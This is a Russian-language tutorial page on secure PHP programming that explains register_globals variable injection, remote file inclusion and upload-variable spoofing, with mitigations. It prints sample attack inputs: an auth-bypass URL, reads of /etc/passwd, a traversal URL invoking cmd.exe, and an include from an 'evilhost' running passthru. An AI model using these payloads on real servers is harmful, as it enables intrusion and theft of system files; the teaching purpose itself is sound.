home map
Безопасное программирование на PHP
 
» Безопасное программирование на PHP » Виды уязвимостей 
Безопасное программирование на PHP
Введение
Виды уязвимостей
Заключение

2 Виды уязвимостей.

2.1   Глобальные переменные.

Одна из особенностей синтаксиса — это то, что переменные в PHP не
обязательно должны быть инициализированы, они инициализируются
автоматически при первом их использовании.
   Очевидно, что одна из главных функций языка PHP — это принимать
данные от клиента (формы, файлы, cookies и т.д.), обрабатывать их и
возвращать результаты обработки клиенту. Для того чтобы устроить как
можно проще доступ PHP скрипта к данным, получаемых от клиента,
заводятся так называемые глобальные переменные. Рассмотрим следую-
щий пример HTML кода:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
   Очевидно, что на странице будет отображено текстовое поле и кнопка
отправки данных на обработку PHP скрипту test.php. Когда он запускается,
переменная $hello будет содержать данные, которые ввел пользова-
тель. Важно заметить, что смысл в том, что предполагаемый взломщик
может создавать какие угодно переменные и инициализировать их в гло-
бальном пространстве переменных. Вместо использования формы при-
веденной выше, взломщик может вызвать этот test.php непосредствен-
но указав переменные в URL: ’http://server/test.php?hello=hi&setup=no’.
При этом не только переменная $hello будет равна ’hi’, но скрипт также
проинициализирует переменную $setup=’no’.
   Теперь рассмотрим в чем же собственно таится опасность такой ра-
боты с переменными. Проиллюстрируем это следующим примером:
<?php
   if ($pass = "hello")
    $auth = 1;
   ...
   if ($auth == 1)
   echo "some important information";
?>
   В приведенном примере PHP скрипт проверяет правильность паро-
ля пользователя и затем, если пользователь успешно был аутентифи-
цирован, передает ему некоторую секретную информацию. Здесь уязви-
мость заключается в том, что программа предполагает, что перемен-
ная $auth была пустая до тех пор пока она сама же не присвоила
ей значение. Таким образом, если взломщик сможет создать перемен-
ную $auth и сам же ей передаст значение равное единице, то URL ви-
да ’http://server/test.php?auth=1 не будет проводить проверку пароля и
успешно авторизует взломщика.
   Подводя итог можно однозначно сказать, что PHP скрипт не может
доверять ни одной переменной, если он явно сам ее не проинициализи-
ровал.
   Одним общим подходом по защите от подобных атак является обыч-
ная проверка того, находится ли используемая переменная в массивах
HTTP_GET/POST_VARS[] (в зависимости от используемого метода от-
правки данных).

2.2 Файлы на удаленной машине.

Язык PHP обладает большим количеством полезных свойств — огром-
ным количеством функций для того, чтобы сделать жизнь программиста
как можно проще и комфортнее. Однако с точки зрения безопастности,
такой широкий выбор функций делает написание на нем безопасных
программ трудным занятием. Рассмотрим один замечательный пример:
<?php
   if (!($fd = fopen("$filename", "r"))
     echo("Could not open file: $filename<BR>\n");
  ?>
    Программа пытается открыть файл, имя которого определено в пе-
ременной $filename, для чтения, и если это не удается, она выдает
ошибку. Очевидно что пользователь может присвоить $filename значе-
ние /etc/passwd и просмотреть этот файл, но еще совсем не тривиальное
решение — заставить скрипт прочитать данные с другого web/ftp сайта.
    Например можно присвоить $filename значение
’http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir’ и тем са-
мым заставить веб-сервер атаковать другой сервер с помощью приведен-
ного URL.
    Становится еще более интереснее если обратиться к функциям include(),
require(), include_once() and require_once(). Указанные функции прини-
мают в качестве аргумента имя файла, и потом этот файл интерпре-
тируется как PHP скрипт. Обычно это используется для подключения
соответствующих библиотек. Рассмотрим следующий пример:
<?php
   include($libdir . "/languages.php");
?>
    В этом примере переменная окружения $libdir скорее всего указыва-
ет, где находятся вспомогательные файлы. Однако взломщику ничего не
стоит изменить эту переменную (например рассмотренным в разделе 2
способом) на $libdir=’http://<evilhost>/’, и файл languages.php будет со-
держать уже совсем другой код, тот код, который необходим взломщику,
скажем такой:
<?php
   passthru("/bin/ls /etc");
?>
тем самым взломщик исполнит свой код на удаленной машине и получит
содержимое директории /etc.

2.3    Заливка файлов.

Еще одной уязвимостью языка является так называемая автоматическая
заливка файлов на сервер с клиентских машин. Согласно RFC 1867 мож-
но написать следующую форму:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
    Эта форма позволяет удаленному пользователю открыть файл на сво-
ем локальном диске и отправить его веб-серверу. Очевидно, что это
очень полезная возможность, но ее реализация в PHP не совсем без-
опасна. Когда PHP скрипт получает запрос от клиента, то еще до того
как приступить к обработке самого скрипта, он скачивает файл с уда-
ленной машины, затем проверяет размер файла, чтобы он не превысил
$MAX_FILE_SIZE (10kb в данном случае) и максимальный размер фай-
ла, прописанный в файле настройки PHP интерпретатора. Если все про-
верки пройдены, файл сохраняется в директории для временных файлов,
и только потом уже начинается обработку кода.
    Теперь давайте рассмотрим скрипт, который написан для того, что-
бы принимать файлы с удаленных машин. Как уже было выше описано,
PHP интерпретатор сохраняет его в директории для временных файлов.
Затем PHP интерпретатору необходимы данные об этом файле, чтобы
начать его обработку. Для этого есть два пути. Первый, еще извест-
ный со времен PHP3, и второй, более безопасный, введенный совсем
недавно. Однако рассмотрим первый, он и по сей день довольно часто
используется. PHP заводит глобальные переменные, для того чтобы опи-
сать залитый файл, например для нашего случая это выглядит так:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name (e.g "c:\\temp\\hello.txt
$hello_type = Mime type of uploaded file (e.g "text/plain
    Однако значение переменной $hello по прежнему может быть подме-
нено взломщиком, (например так:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=t
plain&hello_name=hello.txt) тем самым глобальные переменные примут
значения:
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
Это заставит интерпретатор обрабатывать не файл, полученный с удален-
ной машины, а файл, который ему указал взломщик, тем самым получая
доступ к файлам, которые содержат секретную информацию.
    Существуют различные способы определить, какой файл был залит:
самый простой — обратится к массиву переменных HTTP_POST_FILES[],
либо воспользоваться функцией, которая позволит определить, действи-
тельно ли это тот файл, который был получен с удаленной машины.
Безопасное программирование на PHP

Создание сайта - дизайн студия planetaweb.ru
тактично разработка бренда . заправка картриджа mlt 108  
 home map